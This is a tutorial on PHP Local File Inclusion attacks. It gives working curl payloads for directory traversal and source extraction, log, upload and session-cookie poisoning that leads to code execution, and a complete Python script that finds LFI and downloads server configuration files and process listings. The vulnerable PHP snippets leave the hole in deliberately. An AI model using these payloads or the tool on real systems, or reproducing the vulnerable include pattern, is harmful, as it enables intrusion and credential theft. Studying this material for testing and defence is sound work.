Local File Inclusion (LFI) attacks can occur if a web application references a file on disk based on user supplied input. LFI attacks can be used to reveal sensitive information such as credentials in configuration files and may lead to remote code execution.
For instance, the below PHP code is vulnerable to LFI in the page parameter. An attacker can exploit this to reveal other files on disk.
<?php
$page = $_GET['page'];
if(isset($page))
{
include("pages/$page");
}
else
{
print "Welcome!";
}
?>
System Enumeration
Retrieving Configuration Files
A basic directory traversal attack can be carried out to reveal the contents of /etc/passwd;
curl "http://127.0.0.1/index.php?page=../../../../../etc/passwd"
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
The application may filter strings passed to it, such as excluding “../” characters, as such it’s worth attempting directory traversal using a number of encoding techniques.
A Python application that attempts to identify LFI in GET requests is listed at the end of this article.
python3 lfi_tool.py -u "http://127.0.0.1/index.php?page=FUZZ" -o captured_files
Checking for working LFI...
Found /etc/passwd LFI: ../../../../{FILE}
Getting baseline response...
Filtered response size: 0
Fetching /proc/self/cmdline
/usr/sbin/apache2 -k start
Fetching process listing
Downloading common files
Done!
┌──(kali㉿kali)-[~/LFI]
└─$ ls -la captured_files
total 7400
drwxr-xr-x 2 kali kali 4096 Apr 12 18:20 .
drwxr-xr-x 4 kali kali 4096 Apr 12 18:18 ..
-rw-r--r-- 1 kali kali 3040 Apr 12 18:20 _etc_adduser.conf
-rw-r--r-- 1 kali kali 7178 Apr 12 18:20 _etc_apache2_apache2.conf
-rw-r--r-- 1 kali kali 1782 Apr 12 18:20 _etc_apache2_envvars
-rw-r--r-- 1 kali kali 3208 Apr 12 18:20 _etc_apache2_mods-available_autoindex.conf
-rw-r--r-- 1 kali kali 370 Apr 12 18:20 _etc_apache2_mods-available_deflate.conf
Retrieving Process Listings
The proc virtual filesystem on Linux lists the command used to execute each process in the cmdline entry. For example;
cat /proc/1/cmdline
/sbin/initsplash
cat /proc/11286/cmdline
/usr/sbin/apache2-kstart
This can be useful to identify other potentially vulnerable applications running on the host.
PHP Conversion Filters
When attempting to extract the source code of PHP files, the contents of the files may be executed rather than showing the actual source code. To get around this, PHP conversion filters can be used. As the name suggests, they are normally used to convert input, but can also be used to prevent code from executing before it’s transmitted.
curl "http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php"
PD9waHAKICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwogICBpZihpc3NldCgkcGFnZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoInBhZ2VzLyRwYWdlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSEiOwogICB9Cj8+Cg==
echo PD9waHAKICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwogICBpZihpc3NldCgkcGFnZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoInBhZ2VzLyRwYWdlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSEiOwogICB9Cj8+Cg== | base64 -d
<?php
$page = $_GET['page'];
if(isset($page))
{
include("pages/$page");
}
else
{
print "Welcome!";
}
?>
Remote Code Execution
For remote code execution, an adversary would need to upload some code to the server that can be referenced through the LFI vulnerability. For this to work, PHP functions such as include() or require() would need to be used in the code.
Uploading the code to be executed could be done in a number of ways.
Exploiting a File Upload Vulnerability
If the target application allows uploading files, such as profile images it might be possible to include PHP code within the uploaded file. E.g
┌──(kali㉿kali)-[/var/www/html/uploads]
└─$ cat image.jpg
<?php system('id');?>
This code can then be referenced and executed through the LFI vulnerability;
curl "http://127.0.0.1/index.php?page=.../../../../../../../../../../var/www/html/uploads/image.jpg"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Log File Poisoning
Apache log files typically record the page being accessed, and the client user agent. We can insert PHP code into our user agent, then use the LFI to load the code stored in the log file.
curl "http://127.0.0.1/index.php?page=.../../../../../../../../../../var/log/apache2/access.log" --user-agent "<?php system('id');?>"
127.0.0.1 - - [12/Apr/2023:12:48:07 +0100] "GET /index.php?page=.../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 3612 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Session Cookie Poisoning
If an adversary can include code within a session cookie, this could be executed using the LFI vulnerability. For instance, the following PHP code sets a session cookie based on a user supplied language parameter.
<?php
session_start();
$_SESSION["language"] = "english";
$language = $_GET['lang'];
if(isset($language))
{
$_SESSION["language"] = $language;
}
?>
Visting the page, we can see the session cookie being set;
curl -v "http://127.0.0.1/cookie.php"
* Trying 127.0.0.1:80...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /cookie.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Apache/2.4.56 (Debian)
< Set-Cookie: PHPSESSID=t3m00bnbkdlreeo77uidlmj916; path=/
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
The contents of the cookie are stored on the server under /var/lib/php/sessions/;
cat /var/lib/php/sessions/sess_t3m00bnbkdlreeo77uidlmj916
language|s:7:"english";
So, by sending a request to set the cookie contents, we can then call the cookie file using the LFI to execute the code;
curl -v "http://127.0.0.1/cookie.php?lang=%3C?php%20system('id');?%3E"
curl "http://127.0.0.1/index.php?page=.../../../../../../../../../..//var/lib/php/sessions/sess_7ler85dekipojhfrp1uuhntv6r"
language|s:21:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
LFI Exploit Code
The below attempts to identify a vulnerable parameter, and if found it downloads all common configuration files from the host.
import requests
import urllib3.util.url as urllib3_url
import argparse
import os.path
from colorama import Fore, Back, Style
CONSOLE_ARGUMENTS = None
FILTERED_RESPONSE_SIZE = None
lfi_list = '/usr/share/wordlists/wfuzz/vulns/dirTraversal.txt'
common_files = '/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt'
def hook_invalid_chars(component, allowed_chars):
# Don't perform any URL encoding
return component
urllib3_url._encode_invalid_chars = hook_invalid_chars
def make_request(url, lfi):
target_url = url.replace('FUZZ',lfi)
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate"}
response = requests.get(url=target_url , headers=headers)
return response.content
def fetch_file(url,found_lfi,filename,save_file):
lfi_path = found_lfi.replace('{FILE}',filename)
response = make_request(url,lfi_path.strip())
if FILTERED_RESPONSE_SIZE is None:
return response
else:
if len(response) != FILTERED_RESPONSE_SIZE:
if save_file is True:
write_file(filename,response)
else:
return response
def find_lfi(wordlist,url):
with open(wordlist) as fuzzFile:
for lfi in fuzzFile:
lfi_path = lfi.replace('{FILE}','/etc/passwd')
response = make_request(url,lfi_path.strip())
if '/usr/sbin/nologin' in str(response):
return lfi
return False
def download_common_files(url,found_lfi,output_path):
with open(common_files) as fuzzFile:
for filename in fuzzFile:
fetch_file(url,found_lfi,filename,True)
def write_file(filename,filecontents):
filename = filename.replace('/','_')
filename = str(filename).strip()
#print(filename)
completeName = os.path.join(CONSOLE_ARGUMENTS.output, filename)
f = open(completeName, "w")
f.write(filecontents.decode('utf8', errors='replace'))
f.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", '--url', type=str, required=True, help = "Target URL containing FUZZ marker. E.g http://127.0.0.1:8000/?page=FUZZ")
parser.add_argument("-o", '--output', type=str, required=True, help = "Output directory")
args = parser.parse_args()
global CONSOLE_ARGUMENTS
CONSOLE_ARGUMENTS = args
if 'FUZZ' not in args.url:
print("No fuzzing marker in URL")
quit()
global FILTERED_RESPONSE_SIZE
print(Fore.GREEN + "Checking for working LFI...", end='')
print(Style.RESET_ALL)
found_lfi = find_lfi(lfi_list,args.url)
if found_lfi is not False:
print("Found /etc/passwd LFI: " + found_lfi,end='')
else:
print(Fore.RED + "No LFI found. Exiting.", end='')
quit()
print(Fore.GREEN + "Getting baseline response...", end='')
print(Style.RESET_ALL)
non_existant_file = '/bordergate'
response = fetch_file(args.url,found_lfi,non_existant_file,False)
print("Filtered response size: " + str(len(response)))
FILTERED_RESPONSE_SIZE = len(response)
print(Fore.GREEN + "Fetching /proc/self/cmdline", end='')
print(Style.RESET_ALL)
cmdline = '/proc/self/cmdline'
response = fetch_file(args.url,found_lfi,cmdline,False)
if response is not None:
process = response.replace(b'\x00',b' ').decode('ascii')
print(process)
print(Fore.GREEN + "Fetching process listing", end='')
print(Style.RESET_ALL)
for x in range(1,2500):
cmdline = '/proc/' + str(x) + '/cmdline'
response = fetch_file(args.url,found_lfi,cmdline,False)
if response is not None:
process = response.replace(b'\x00',b' ').decode('ascii')
with open("process_listing.txt", "a") as f:
f.write(process + "\n")
print(Fore.GREEN + "Downloading common files",end='')
print(Style.RESET_ALL)
output_path = args.output
isExist = os.path.exists(output_path)
if not isExist:
os.makedirs(output_path)
download_common_files(args.url,found_lfi,output_path)
print("Done!")
if __name__ == "__main__":
main()